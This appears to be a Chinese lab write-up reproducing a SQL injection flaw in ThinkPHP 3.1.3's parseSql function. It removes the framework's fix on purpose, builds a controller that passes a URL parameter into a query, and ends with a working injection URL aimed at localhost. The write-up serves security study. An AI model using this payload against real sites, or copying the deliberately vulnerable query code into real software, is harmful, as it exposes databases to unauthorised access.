首先在網上下載對應的壓縮包。
漏洞位於ThinkPHP/Lib/Core/Model.class.php 文件的parseSql函數
將這一條修復語句註釋後開始一步步復現
在ThinkPHP目錄下創建app文件夾後創建index.php
訪問相應頁面,顯示這個則說明成功。
成功後app文件夾下會生成工程文件
然後開始配置數據庫(在app/conf/config.php下配置)
<?php
return array(
//'配置項'=>'配置值'
// 添加數據庫配置信息
'DB_TYPE' => 'mysql', // 數據庫類型
'DB_HOST' => 'localhost', // 服務器地址
'DB_NAME' => 'security', // 數據庫名
'DB_USER' => 'root', // 用戶名
'DB_PWD' => 'root', // 密碼
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => 'think_', // 數據庫表前綴
);
?>
下一步開始爲模塊定義一個控制器類:IndexAction.class.php。命名規範(模塊名+Action.class.php)
<?php
// 本類由系統自動生成,僅供測試用途
class IndexAction extends Action {
public function index(){
//$this->name = 'thinkphp'; // 進行模板變量賦值
//$this->display();
$Data = M('Data'); // 實例化Data數據模型
$this->data = $Data->select();
$this->display();
$model=M('think_data');
$m=$model->query('select * from think_data where id="%s"',array($_GET['id']));
dump($m);exit;
}
}
創建視圖:在/Tpl下創建Index/index.html
<html>
<head>
<title></title>
</head>
<body>
//<p>hello, {$name}!</p>
<volist name="data" id="vo">
{$vo.id}--{$vo.data}<br/>
</volist>
</body>
</html>
在瀏覽器訪問
http://127.0.0.1:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/
http://127.0.0.1:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/?id=1" or 1 –
復現結束